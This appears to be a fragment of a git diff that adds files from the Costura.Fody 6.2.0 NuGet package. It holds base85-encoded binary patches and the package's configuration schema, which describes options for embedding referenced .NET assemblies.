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 DkmJi# literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/Costura.Fody.6.2.0/netclassicweaver/Costura.Fody.xcf b/MiniPlasma/packages/Costura.Fody.6.2.0/netclassicweaver/Costura.Fody.xcf new file mode 100644 index 0000000..5aa9a31 --- /dev/null +++ b/MiniPlasma/packages/Costura.Fody.6.2.0/netclassicweaver/Costura.Fody.xcf @@ -0,0 +1,160 @@ + + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + A list of runtimes to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of runtimes names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + Obsolete, use UnmanagedWinX86Assemblies instead + + + + + A list of unmanaged X86 (32 bit) assembly names to include, delimited with line breaks. + + + + + Obsolete, use UnmanagedWinX64Assemblies instead. + + + + + A list of unmanaged X64 (64 bit) assembly names to include, delimited with line breaks. + + + + + A list of unmanaged Arm64 (64 bit) assembly names to include, delimited with line breaks. + + + + + The order of preloaded assemblies, delimited with line breaks. + + + + + + This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. + + + + + Controls if .pdbs for reference assemblies are also embedded. + + + + + Controls if runtime assemblies are also embedded. + + + + + Controls whether the runtime assemblies are embedded with their full path or only with their assembly name. + + + + + Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. + + + + + As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. + + + + + The attach method no longer subscribes to the `AppDomain.AssemblyResolve` (.NET 4.x) and `AssemblyLoadContext.Resolving` (.NET 6.0+) events. + + + + + Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. + + + + + Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. + + + + + A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with | + + + + + A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |. + + + + + Obsolete, use UnmanagedWinX86Assemblies instead + + + + + A list of unmanaged X86 (32 bit) assembly names to include, delimited with |. + + + + + Obsolete, use UnmanagedWinX64Assemblies instead + + + + + A list of unmanaged X64 (64 bit) assembly names to include, delimited with |. + + + + + A list of unmanaged Arm64 (64 bit) assembly names to include, delimited with |. + + + + + The order of preloaded assemblies, delimited with |. + + + \ No newline at end of file diff --git a/MiniPlasma/packages/Costura.Fody.6.2.0/netstandardweaver/Costura.Fody.dll b/MiniPlasma/packages/Costura.Fody.6.2.0/netstandardweaver/Costura.Fody.dll new file mode 100644 index 0000000000000000000000000000000000000000..5e600095163a174c69fe9aebac5db24ba855b74c GIT binary patch literal 259072 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 